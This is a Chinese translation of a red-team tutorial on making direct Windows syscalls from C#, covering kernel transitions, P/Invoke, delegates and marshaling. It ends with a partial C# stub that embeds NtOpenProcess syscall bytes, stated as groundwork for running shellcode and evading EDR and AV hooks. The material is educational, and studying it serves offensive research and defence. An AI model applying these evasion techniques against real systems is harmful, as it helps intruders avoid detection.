# 红队战术：在C#中使用syscall之背景知识介绍
##### 译文声明
本文是翻译文章，文章原作者 Jack Halon，文章来源：jhalon.github.io
原文地址：<https://jhalon.github.io/utilizing-syscalls-in-csharp-1/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这篇文章介绍了一些在中使用syscall需要了解的基本概念，其中触及了一些比较深入的主题，例如Windows内部结构及系统调用的概念，还讨论了.NET
框架的工作原理以及如何在C#中利用非托管代码执行syscall汇编代码。
在过去的一年，安全社区，特别是在红队的渗透以及蓝队的防御中，发现有大量Windows恶意软件公开或私有地利用了[System
Calls(系统调用)](https://docs.microsoft.com/en-us/cpp/c-runtime-library/system-calls?view=vs-2019)，有些是用于post-exploitation，还有的是为了绕过[EDR(终端检测与响应)](https://www.crowdstrike.com/epp-101/what-is-endpoint-detection-and-response-edr/)。
目前，该技术的使用对于一些人来说可能比较陌生，但事实并非如此。 这些年来，许多恶意软件作者，开发人员甚至游戏黑客都一直在内存加载过程中使用系统调用技术。
他们最初的目的是为了绕过反病毒或反作弊引擎等工具带来的特定限制或安全措施。
在一些博客文章中已经很好地介绍了如何利用这些syscall技术，比如说[Hoang
Bui](https://twitter.com/SpecialHoang)的这篇文章<a
href=”https://medium.com/[@fsx30](https://github.com/fsx30 "@fsx30")/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6″>Bypass EDR’s
Memory Protection, Introduction to
Hooking，还有[Cneelis](https://twitter.com/Cneelis)的[Red Team Tactics: Combining
Direct System Calls and sRDI to bypass
AV/EDR](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/)，这篇文章主要聚焦于如何利用syscall转储LSASS中的信息并且不会被检测到。这些技术的使用在红队的秘密行动中十分重要，因为它能够让我们在网络中不受监视地进行post
exploitation。
大多数人在实现这些技术时使用了C++语言，这样能够更好地和[Win32 API](https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list)以及系统进行交互。不过在用C++编写工具的时候总会出现一个问题，那就是代码编译完成之后会生成一个EXE文件。而我们为了让秘密行动能够成功进行，总是希望能避免“接触硬盘”，也就是说我们不想盲目地复制或者执行系统上的文件。所以说，我们要找到一种更安全的方法将这些工具注入到内存中。
尽管C ++对于任何恶意软件相关技术都是一个很棒的语言，但由于我已经开始使用C#编写post-exploitation工具了，所以我打算在C#中实现syscall的使用。而在[FuzzySec](https://twitter.com/FuzzySec)和[The
Wover](https://twitter.com/TheRealWover)发布了他们在BlueHatIL 2020上的演讲（[Staying #
and Bringing Covert Injection Tradecraft to
.NET](https://github.com/FuzzySecurity/BlueHatIL-2020%5D)）之后，我更加迫切地想要实现这一目标。
为此，我进行了很多艰苦的研究，也经历了很多失败，在无数个与咖啡相伴的夜晚之后，我终于成功地让syscall在C＃中正常工作了。虽然这一技术对于红队的行动来说十分有帮助的，但是代码却有些复杂，你很快就会明白我为什么这么说了。
总的来说，这次系列博客的重点是探讨如何在C#中利用非托管代码直接进行系统调用，从而绕过EDR以及API Hooking。
但在开始编写代码之前，我们必须先了解一些基础知识。比如说系统调用的工作原理以及一些.NET中的概念（特别是托管和非托管代码的区别，P/Invoke以及delegate）。
只有理解了这些基础内容，才能明白我们最终编写的C＃代码的工作原理以及其正常工作的原因。
好吧，闲话少说，现在开始基础知识的介绍！
## 理解系统调用的概念
在Windows中，进程的体系结构分为两种处理器访问模式—— **用户模式(user mode)** 和 **内核模式(kernel mode)** 。
这两种模式是为了保护用户应用程序免于访问和修改任何重要的系统数据。
用户应用程序（例如Chrome，Word等）均在用户模式下运行，而系统代码（例如系统服务和设备驱动程序）均在内核模式下运行。
在内核模式下，处理器允许程序访问 **所有系统内存** 以及 **所有CPU指令** 。有一些x86和x64的处理器也使用 **ring levels**
这样的术语来区分这两种模式。
使用ring level特权模式的处理器定义了四个特权级别（ **rings** ）来保护系统代码和数据。下图是一个ring levels的示例。
Windows只使用其中的两个级别：Ring0表示内核模式，Ring3表示用户模式。在处理器正常运行期间，处理器会根据其上运行的代码类型在这两种模式之间进行切换。
那么，这种ring
level背后的安全机制是什么呢？当你启动了一个用户模式下的应用程序时，Windows会为该程序创建一个新进程，并提供一个私有的[虚拟地址空间](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/virtual-address-spaces)以及一个私有的[句柄表(handle table)](https://flylib.com/books/en/4.419.1.29/1/)。
该“ **句柄表** ”是一个包含了[句柄](https://docs.microsoft.com/en-us/windows/win32/sysinfo/handles-and-objects)的 **内核对象**
。句柄是对特定系统资源（例如内存区域/位置，打开的文件或管道）的抽象引用值，它最初的目的是为了向使用API的用户隐藏真实的内存地址，这样就能让系统执行某些管理功能，比如说重组物理内存。
总的来说，句柄的工作为了指代内部结构，例如：令牌，进程，线程等。下图是一个句柄的示例。
因为应用程序的虚拟地址空间是私有的，所以一个程序不能修改另一个程序的数据，除非后者通过[文件映射](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)或[VirtualProtect](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect?redirectedfrom=MSDN)函数将其一部分私有地址空间用作共享内存，或者前者有权限打开另一个进程并使用跨进程内存函数，例如[ReadProcessMemory](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory)和[WriteProcessMemory](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)。
和用户模式不同，所有在内核模式下运行的代码都共享一个称为 **系统空间**
的虚拟地址空间。这就表明内核模式下的驱动程序和其他驱动程序以及操作系统本身之间并不是隔离的。因此，如果有一个驱动程序不小心写入了错误的地址空间或执行了恶意操作，就可能会损害系统或其他驱动程序。尽管也存在一些防止上述操作的保护手段，例如[Kernel
Patch
Protection](https://en.wikipedia.org/wiki/Kernel_Patch_Protection)，即Patch
Guard，但现在先不考虑这些内容。
由于内核中包含了大部分操作系统的内部数据结构（比如或句柄表），所以用户模式下的应用程序在访问这些数据结构或调用内部Windows例程以执行特权操作（例如读取文件）的时候，必须先从用户模式切换到内核模式。这里就需要用到
**系统调用** 了。
为了让用户应用程序能够在内核模式下访问这些数据结构，进程使用了一个特殊的处理器指令触发器，叫做“ **syscall**
”。该指令触发了处理器访问模式的转换，并允许处理器访问内核中的系统服务调用代码。该代码会调用[Ntoskrnl.exe](https://en.wikipedia.org/wiki/Ntoskrnl.exe)或者
**Win32k.sys** 中相应的内部函数，这两者包含了内核和系统程序级别的执行逻辑。
这种“转换”的例子可以在任何应用程序中观察到。比如说，如果使用[Process
Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)观察Notepad程序，我们可以查看特定读/写操作的属性以及它们的调用堆栈。
上图中，我们可以看到从用户模式到内核模式的转换。注意到Win32 API
[CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)函数的调用就在Native(原生) API
[NtCreateFile](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile)的调用之前的。
但是如果我们仔细观察的话，会发现一些奇怪的现象。注意里面有两个不同的 **NtCreateFile** 函数调用。一个来自 **ntdll.dll**
模块，另一个来自 **ntoskrnl.exe** 模块。为什么会这样呢？
其实答案很简单。 **ntdll.dll** 导出了Windows [Native
API](https://en.wikipedia.org/wiki/Native_API)，而这些来自ntdll的Native
API的具体实现则存在于ntoskrnl中，你可以把它们当作“内核API”。Ntdll专门支持用于执行功能的函数以及系统服务调用存根。
简而言之，这两个模块内部包含了“ **syscall** ”的逻辑，让处理器能够从用户模式转换到内核模式！
那么这个CPU指令syscall在ntdll中是什么样子的呢？我们可以使用[WinDBG](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools)来反汇编并检查ntdll中的调用函数。
首先，启动WinDBG并打开一个类似notepad或cmd这样的进程。打开之后，在命令窗口中键入以下内容：
x ntdll!NtCreateFile
这句话告诉WinDBG我们想要 **检查** （x, examine）已加载的 **ntdll** 模块中的 **NtCreateFile**
符号。这句命令执行完后，会得到输出：
00007ffd`7885cb50 ntdll!NtCreateFile (NtCreateFile)
该输出指的是NtCreateFile在已加载进程中的内存地址。如果想要查看这里的反汇编代码，需要键入以下命令：
u 00007ffd`7885cb50
该命令告诉WinDBG我们想要 **反汇编** （u, unassemble）指定的内存范围开头处的指令。 如果运行正确，我们现在应该可以看到以下输出。
总的来说，ntdll中的NtCreateFile函数首先负责在堆栈上设置函数调用参数。完成后，该函数需要将其相关的系统调用号移入`eax`中，如第二条指令`mov
eax 55`所示。在此例中，NtCreateFile的系统调用号为0x55。
每个原生函数都有一个特定的系统调用号，目前该数字通常会随着每次更新发生变化，所以有时很难对其进行追踪。不过要感谢来自Google Project
Zero的[j00ru](https://twitter.com/j00ru)，他在持续更新一份[Windows
X86-64系统调用表](https://j00ru.vexillium.org/syscalls/nt/64/)。因此如果出现新的更新后，你可以把该表作为参考。
系统调用号移入`eax`之后，会执行 **syscall** 指令，CPU会在这里进入内核模式并执行指定的特权操作。
为此，它会把函数调用参数从用户模式堆栈复制到内核模式堆栈，然后执行内核版本的函数调用，即[ZwCreateFile](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatefile)。执行完后，该例程会反向，并且所有返回值都会返回到用户模式下的程序中。syscall到这里就结束了！
## 直接使用系统调用
现在我们知道系统调用的工作原理以及结构了，但你可能会问自己……我们如何执行这些系统调用呢？
其实很简单。为了能够直接引入系统调用，我们可以使用汇编语言对其进行构建，并在程序内存空间中进行执行！这样我们就能绕过EDR或反病毒软件监控的所有挂钩函数。
当然，这并不是说syscall就不能被监控了，而且使用C#执行syscall仍旧会留下一些足迹，但这些内容不在本篇文章的讨论范围之内。
比如说，如果我们想编写一个调用 **NtCreateFile** 函数的syscall程序，就可以构建下述汇编代码：
mov r10, rcx
mov eax, 0x55 <-- NtCreateFile Syscall Identifier
syscall
ret
现在我们有了syscall的汇编代码…接下来呢？ 我们如何在C#中执行它呢？
使用C ++执行该代码很简单，直接将其添加到一个新的`.asm`文件中，启用[masm](https://docs.microsoft.com/en-us/cpp/assembler/masm/masm-for-x64-ml64-exe?view=vs-2019)依赖，定义该代码的C函数原型(prototype)，并初始化调用该syscall所需的变量以及结构即可。
听起来似乎很简单，但在C#中却并不容易。为什么呢？ 四个字—— **托管代码** 。
## 理解C#以及.NET框架
在深入了解“ **托管代码** ”的含义以及它为什么会带来这么大的麻烦之前，我们需要理解C#是什么及其如何在.NET框架上运行。
简单来说，C#是一种类型安全的面向对象语言，开发人员能够用它构建各种安全而强大的应用程序。它的语法简化了C++的复杂性，并提供了很多强大的功能，例如nullable类型，枚举（enumeration），委托（delegate），lambda表达式以及直接内存访问。C#还可以在.NET框架上运行，该框架是Windows中一个不可或缺的组件，它包含一个叫做“[公共语言运行时环境(CLR,
Common Language Runtime)](https://docs.microsoft.com/en-us/dotnet/standard/clr)”的虚拟运行系统以及一组统一的类库。CLR是Microsoft的[公共语言基础结构（CLI, Common
Language
Infrastructure）](https://en.wikipedia.org/wiki/Common_Language_Infrastructure)的一个商业实现。
用C#编写的源代码会被编译成符合CLI规范的[中间语言（IL）](https://docs.microsoft.com/en-us/dotnet/standard/managed-code)。IL代码和资源（例如位图和字符串）存储在磁盘上的可执行文件中，该可执行文件称为程序集(assembly)，扩展名通常为`.exe`或`.dll`。
在执行C#程序的时候，程序集被加载到CLR中，CLR进行[即时（JIT）](https://docs.microsoft.com/en-us/dotnet/standard/managed-execution-process)编译，把IL代码转换为机器码。
CLR还提供其他服务，例如自动[垃圾收集](https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals)，异常处理和资源管理。与“ **非托管代码**
”相对，CLR执行的代码有时被称为“ **托管代码** ”，前者直接编译成了特定系统的机器码。
简单来说，托管代码就是由运行时环境管理执行的代码。在这种情况下，运行时环境指的是 **公共语言运行时环境** 。
在非托管代码中，它只和C/C++有关，程序员几乎负责所有事情。最后得到的程序本质上是一个二进制文件，操作系统负责将其加载到内存中并启动。其他涉及到内存管理到安全方面的问题，都是程序员的责任。
下图是.NET框架结构的可视化示例，它展示框架如何将C#编译为IL，然后转变成机器码的过程。
如果你真的阅读了上面的所有内容，你可能会注意到我提到了CLR还提供其他服务，例如“ **垃圾收集** ”。在CLR中，垃圾收集器（ **GC**
）实质上是通过“释放垃圾”（即已使用的内存）来实现自动内存管理器的。
除此之外，它还能够在托管堆上分配和回收对象，清除内存，并阻止已知的内存泄露问题（如[Use After
Free](https://cwe.mitre.org/data/definitions/416.html)）从而保证内存安全。
尽管C#是一门伟大的语言，并且提供了许多很棒的功能并且具有和Windows的互操作性（例如in-memory
execution），但是在编写恶意软件或尝试与系统进行交互的时候，它确实存在一些问题，比如说：
1. 使用类似[dnSpy](https://github.com/0xd4d/dnSpy)的工具可以很容易地反汇编C#程序集并对其进行逆向工程，因为它们被编译成了IL代码而不是原生的机器码。
2. 它只有系统上存在.NET时才能执行。
3. 在.NET中应用反调试技巧比在机器码中更加困难。
4. 需要更多的精力，编写更多的代码才能在托管代码和非托管代码之间进行互操作。
上述第四点在这次使用C#编写syscall的过程中带来了最多的麻烦。
不管我们在C#中做任何事都是“托管”的，那我们如何才能和Windows系统以及处理器进行有效交互呢？
因为我们要执行汇编代码，所以这个问题非常重要。但不幸的是，和C++不同，C#中不支持内联汇编以及masm依赖。
不过Microsoft为我们提供了一种能够做到这一点的方法！这一切都要归功于CLR！由于CLR的构造方式，它让我们能够越过托管与非托管世界之间的边界。这个过程就叫做
**互操作性(interoperability)** 或简称 **互操作(interop)**
。通过互操作，C#就能够支持指针以及“不安全”代码的概念，可以直接进行内存的访问了，也就是我们这里需要的功能！ 😉
总的来说，这就表示我们现在可以实现和C++一样的功能并使用相同的Windows
API函数了……不过过程中可能存在很多……我的意思是……轻微的困难和不便之处…… 😅
还有一点需要注意，一旦代码越过了运行时环境的边界，对执行的实际管理会再次落在非托管代码的手上，因此将受到与使用C++进行编程时相同的限制。所以，我们需要在分配、回收以及管理内存和其他对象时格外地小心。
知道了这一点之后，我们如何在C#中启用这种互操作性呢？这时就需要[Platform
Invoke(P/Invoke)](https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke)了！
## 通过P/Invoke理解互操作
P/Invoke是一项允许你从托管代码中访问非托管库（即DLL这样的文件）中的结构、回调以及函数的技术。大多数允许这种互操作性的P/Invoke
API都包含在两个命名空间中，即[System](https://docs.microsoft.com/en-us/dotnet/api/system?view=netframework-4.8)和[System.Runtime.InteropServices](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices?view=netframework-4.8)。
我们看一个简单的例子：假设你想在C#代码中使用[MessageBox](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox)函数——一般来说，除非你正在构建一个[UWP](https://docs.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide)应用，否则是无法调用该函数的。
首先，先创建一个新的`.cs`文件，并确保包含了上面的两个P/Invoke命名空间。
using System;
using System.Runtime.InteropServices;
public class Program
{
public static void Main(string[] args)
{
// TODO
}
}
现在，看一下我们要使用的MessageBox在C中的语法。
int MessageBox(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
对于初学者来说，你必须知道C++和C#中使用的数据类型并不匹配。这就表示，类似[HWND](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types)（窗口句柄）和[LPCTSTR](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types)（指向常量TCHAR字符串的长指针）这样的数据类型在C#中是无效的。
为了方便理解，接下来简单介绍一下怎样转换MessageBox中的这些数据类型。如果你想了解更多信息，那么我建议你阅读这篇文章[C# Types and
Variables](https://docs.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/types-and-variables)。
对于C++中的任何句柄对象（例如HWND），C#中和该数据类型（以及C++中的指针）等效的是[IntPtr结构](https://docs.microsoft.com/en-us/dotnet/api/system.intptr?view=netframework-4.8)，它是一种针对特定平台的类型，用于表示指针或句柄。
C++中的任意字符串或指向字符串的指针都能被设置为该等效结构（其实就是[字符串](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/strings/)）。至于UINT或无符号整数类型，在C#中保持不变。
现在我们已经知道了不同的数据类型，接下来需要在代码中调用非托管的MessageBox函数。
代码如下所示：
using System;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
public static void Main(string[] args)
{
// TODO
}
}
注意到，在导入非托管函数之前，我们还使用了[DllImport](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.dllimportattribute?view=netframework-4.8)属性。该属性十分重要，因为它告诉了运行时环境应该加载非托管DLL。传入的字符串表示要加载的目标DLL，在此例中为
**user32.dll** ，该文件包含了MessageBox的函数逻辑。
除此之外，我们还指定了用于编码该字符串的[字符集](https://docs.microsoft.com/en-us/dotnet/standard/native-interop/charset)，设置了[SetLastError](https://docs.microsoft.com/en-us/windows/desktop/api/errhandlingapi/nf-errhandlingapi-setlasterror)参数，这样如果函数执行失败，运行时环境能够捕获该错误代码，以便用户之后通过[Marshal.GetLastWin32Error()](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getlastwin32error#System_Runtime_InteropServices_Marshal_GetLastWin32Error)检索错误信息。
最后，我们使用[extern](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/extern)关键字创建了一个私有的静态MessageBox函数。该`extern`修饰符用于声明在外部实现的方法。它告诉了运行时环境，在调用这个函数的时候，应在`DllImport`属性中指定的DLL中寻找该函数，在此例中函数位于
**user32.dll** 。
有了上述代码，我们就能够在主程序中调用`MessageBox`函数了。
using System;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
public static void Main(string[] args)
{
MessageBox(IntPtr.Zero, "Hello from unmanaged code!", "Test!", 0);
}
}
如果运行正常，上述代码应该会弹出一个标题为“ **Test!** ”，内容为“ **Hello from unmanaged code!** ”的消息框。
现在我们已经学会了如何在C#中导入并调用非托管代码！如果只是看代码的话，这个方法看起来非常简单……但是不要让它蒙骗了你！
这只是一个简单的函数，如果我们要调用一个更加复杂的函数呢？比如说[CreateFileA](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)函数，这时会发生什么？
先来看一下该函数在C中的语法。
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
先看一下`dwDesiredAccess`参数，该参数使用通用值（如 **GENERIC_READ** 和 **GENERIC__WRITE**
）指定了要创建文件的访问权限。在C++中，只要使用这些通用值，系统就会知道我们的意思，但在C#中就不行。
在文档中，我们发现用于`dwDesiredAccess`参数的[通用访问权限(Generic Access
Rights)](https://docs.microsoft.com/en-us/windows/win32/secauthz/generic-access-rights)使用了某种[访问掩码格式(Access Mask Format)](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format)来指定赋予该文件的权限。由于该参数的类型为[DWORD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/262627d8-3418-4627-9218-4ffe110850b2)，即32位无符号整数，因此该 **GENERIC-**
格式的常量实际上就是用来和特定的访问掩码位值进行匹配的标志。
要想在C#中实现相同的目的，我们必须使用[FLAGS](https://docs.microsoft.com/en-us/dotnet/api/system.flagsattribute?view=netframework-4.8)枚举属性创建一个新的[结构类型(structure
type)](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/struct)，该类型中包含了与C++相同的常量以及数值，这样该函数才能正常工作。
现在你可能会问我，我在哪里能够获取到这些详细信息呢？如果想要在.NET中进行非托管代码的管理，最适合的资源就是[PInvoke
Wiki](https://www.pinvoke.net/)。你几乎可以在这里找到所需的任何信息。
如果我们要在C#中调用该非托管函数并使其正常工作，代码示例如下所示：
using System;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
string lpFileName,
EFileAccess dwDesiredAccess,
EFileShare dwShareMode,
IntPtr lpSecurityAttributes,
ECreationDisposition dwCreationDisposition,
EFileAttributes dwFlagsAndAttributes,
IntPtr hTemplateFile);
[Flags]
enum EFileAccess : uint
{
Generic_Read = 0x80000000,
Generic_Write = 0x40000000,
Generic_Execute = 0x20000000,
Generic_All = 0x10000000
}
public static void Main(string[] args)
{
// TODO Code Here for CreateFile
}
}
现在你知道我之前为什么会说在C#中使用非托管代码很麻烦了吧？很好，现在我们的观点一致了😁。
到目前为止，我们已经介绍了很多内容。我们知道了系统调用的工作原理，了解了C#和.NET框架在较低级层次上的工作方式，现在我们也学会了如何在C#中调用非托管代码以及Win32
API。
但是我们仍然缺少一个重要信息，是什么呢…🤔
哦，对了！即使我们能够在C#中调用Win32 API函数，但还是不知道怎么执行我们的汇编“[native
code](https://stackoverflow.com/questions/3434202/what-is-the-difference-between-native-code-machine-code-and-assembly-code)（原生代码）“。
好吧，正如古人所说，有志者事竟成！尽管不能像C++那样在C#中使用内联汇编，我们也可以通过可爱的[Delegates](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/)来达到类似的目的！
## 理解Delegates以及native code回调的概念
在此之前，我们可以停一秒钟，然后欣赏一下CLR到底有多酷吗？ 我的意思它既能管理代码，也能允许垃圾收集器和Windows API之间的互操作。
除此之外，它还允许双向地通信，这就表示你可以使用函数指针从原生函数回调到托管代码！在托管代码中最接近函数指针这一概念的就是[委托(delegate)](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/)，该类型代表了对具有特定参数列表和返回类型的方法的引用。在从原生代码回调到托管代码的时候就要使用该类型。
简单来说，委托用于将方法作为参数传递给其他方法。该功能的使用和从托管代码进入非托管代码的过程类似。Microsoft对此给出了一个很好的例子。
using System;
using System.Runtime.InteropServices;
namespace ConsoleApplication1
{
public static class Program
{
// Define a delegate that corresponds to the unmanaged function.
private delegate bool EnumWindowsProc(IntPtr hwnd, IntPtr lParam);
// Import user32.dll (containing the function we need) and define
// the method corresponding to the native function.
[DllImport("user32.dll")]
private static extern int EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
// Define the implementation of the delegate; here, we simply output the window handle.
private static bool OutputWindow(IntPtr hwnd, IntPtr lParam)
{
Console.WriteLine(hwnd.ToInt64());
return true;
}
public static void Main(string[] args)
{
// Invoke the method; note the delegate as a first parameter.
EnumWindows(OutputWindow, IntPtr.Zero);
}
}
}
这段代码看起来可能有些复杂，但相信我，事实并非如此！在研究该代码之前，首先确保我们已经了解了需要使用的非托管函数的签名。
如你所见，我们在代码中导入原生代码函数[EnumWindows](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows)，该函数会枚举屏幕上的所有顶级窗口，这些窗口的句柄会依次传递给应用程序定义的回调函数。
该函数在C中的语法如下所示：
BOOL EnumWindows(
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);
如果查看文档中的`lpEnumFunc`参数，会发现它接收一个指向应用程序定义的回调函数的指针，该函数的结构与[EnumWindowsProc](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms633498\(v=vs.85))回调函数相同。由于这里只是对程序定义函数的一个占位名称，所以我们可以在程序中任意对其进行命名。
该函数在C中的语法如下所示：
BOOL CALLBACK EnumWindowsProc(
_In_ HWND hwnd,
_In_ LPARAM lParam
);
该函数接受一个HWND（窗口句柄）以及一个LPARAM（长指针）作为参数。该回调函数的返回值是一个布尔值，用true或false表示枚举何时停止。
现在回到示例代码，在第9行我们定义了与非托管代码中的回调函数签名一致的 **delegate** 。由于代码是用C#编写的，因此需要把C++指针替换为
**IntPtr** ，该类型在C#中与指针等效。
第13行和第14行从 **user32.dll** 中引入了EnumWindows函数。
接下来，第17-20行实现了这个 **delegate**
。在这里，我们真正告诉了C#要如何处理从非托管代码返回的数据。在此例中，只是简单地把返回的值打印到控制台上。
最后，第24行调用了导入的原生方法，并将定义并实现好的delegate传入其中，用于处理返回的数据。
很简单吧！
好的，这很酷。而且我也知道……你可能会问我，“ _杰克，这和在C#中执行原生汇编代码有什么关系呢？我还是不知道怎么做！_ ”
在这里，我只想说…
我之所以想先介绍委托(delegate)和原生代码回调这两个概念，是因为在接下来的介绍中，委托非常重要。
现在我们已经知道委托和C++的函数指针类似，但是委托是完全面向对象的，而且与指向成员函数的C++指针不同，它既封装了对象实例也封装了方法。除此之外，我们还知道它可以让方法作为参数传递，也可以用于定义回调方法。
由于委托十分善于处理接收到的数据，因此我们可以对这些数据进行进一步的处理。
比如说，假设我们执行一个原生Windows函数，像是[VirtualAlloc](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)，该函数可以保留，提交或更改调用进程虚拟地址空间中部分页区域的状态，并会返回已分配内存区域的基地址。
这时，如果我们分配的空间中包含了shellcode呢😏？接下来会发生什么？没懂！？好…让我解释一下。
所以，如果我们能够在包含shellcode的进程中分配一个内存区域并将其返回给 **delegate** ，那么我们就可以利用一种叫做[type
marshaling](https://docs.microsoft.com/en-us/dotnet/standard/native-interop/type-marshaling)的方法让传入的数据类型在托管代码和原生代码之间进行转换。这就表示我们可以从一个非托管的函数指针转换到委托类型！也就是说我们可以通过这种方式来执行汇编代码或shellcode的字节数组！
接下来在上述思路的基础上，进行进一步的探讨。
## Type Marshaling & 不安全代码以及指针
正如之前所说， **marshaling** 是一个在托管代码和原生代码发生转换时对类型进行转换的过程。
因为托管和非托管代码中的类型不同，所以需要进行marshaling。
默认情况下，P/Invoke子系统会根据默认行为尝试进行type
marshaling。但是，如果你需要对非托管代码进行额外控制，就可以使用[Marshal](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal?view=netframework-4.8)类完成类似分配非托管内存，复制非托管内存块，将托管类型转换为非托管类型等操作，以及在与非托管代码进行交互时需要的其他复杂操作。
下面给出了marshaling工作原理的一个示例。
在本文想要讨论的问题中，最重要的Marshal方法就是[Marshal.GetDelegateForFunctionPointer](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_)，该方法可以把非托管函数指针转换为指定类型的委托。
可以使用marshaling在很多类型间进行转换，我强烈建议你仔细阅读这部分内容，因为它是.NET框架中不可或缺的一部分。而且在编写红队或者蓝队使用的工具时，都会很方便。
现在我们已经知道可以把内存指针转换为委托了，但问题在于，我们怎样才能创建出指向汇编代码的内存指针呢？事实上这很容易，只需要进行一些简单的指针运算就能得到ASM代码的内存地址了。
由于C#默认情况下不支持指针算术，因此我们需要把代码的一部分声明为[不安全的](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/unsafe)。该操作只表示一个不安全的上下文，只要内容涉及到指针，都需要进行该操作。总的来说，这样我们就能够进行指针操作了，比如说指针解引用。
现在唯一的问题就是，如果想要编译不安全的代码，就必须在编译时使用`-unsafe`选项。
因此，让我们来看一个简单的例子。
如果我们想对[NtOpenProcess](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess)执行syscall，首先要做的就是像下面这样将汇编代码写入字节数组。
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
namespace SharpCall
{
class Syscalls
{
static byte[] bNtOpenProcess =
{
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x26, 0x00, 0x00, 0x00, // mov eax, 0x26 (NtOpenProcess Syscall)
0x0F, 0x05, // syscall
0xC3 // ret
};
}
}
在填写完该字节数组之后，我们需要使用`unsafe`关键字指出出现不安全上下文的代码区域。
我们可以在该不安全上下文中进行一些指针运算。在下面的代码中，我们初始化了一个名为`ptr`的字节指针，并将其设置为`syscall`的值，该位置包含了汇编字节数组。之后还使用了[fixed](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/fixed-statement)语句，该语句能够防止垃圾回收器重新定位可移动变量，在本例中指的就是syscall字节数组。
如果没有使用`fixed`语句，垃圾回收器可能会对变量进行重定位，导致执行过程中出错。
接下来，我们把字节数组指针转换为一个叫做`memoryAddress`的C# IntPtr类型。这样我们就能够获取到syscall字节数组所在的内存位置了。
这时就可以做很多事情了，比如说在原生API调用中使用该内存区域，或者可以将其传递给其他托管C#函数，甚至可以在委托中使用该内存区域！
针对以上内容，给出一个示例代码。
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
namespace SharpCall
{
class Syscalls
{
// NtOpenProcess Syscall ASM
static byte[] bNtOpenProcess =
{
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x26, 0x00, 0x00, 0x00, // mov eax, 0x26 (NtOpenProcess Syscall)
0x0F, 0x05, // syscall
0xC3 // ret
};
public static NTSTATUS NtOpenProcess(
// Fill NtOpenProcess Paramters
)
{
// set byte array of bNtOpenProcess to new byte array called syscall
byte[] syscall = bNtOpenProcess;
// specify unsafe context
unsafe
{
// create new byte pointer and set value to our syscall byte array
fixed (byte* ptr = syscall)
{
// cast the byte array pointer into a C# IntPtr called memoryAddress
IntPtr memoryAddress = (IntPtr)ptr;
}
}
}
}
}
到此为止，我们已经知道如何在C#程序中从字节数组获取并执行Shellcode了，该过程使用了非托管代码，不安全上下文，委托以及marshaling等技术。
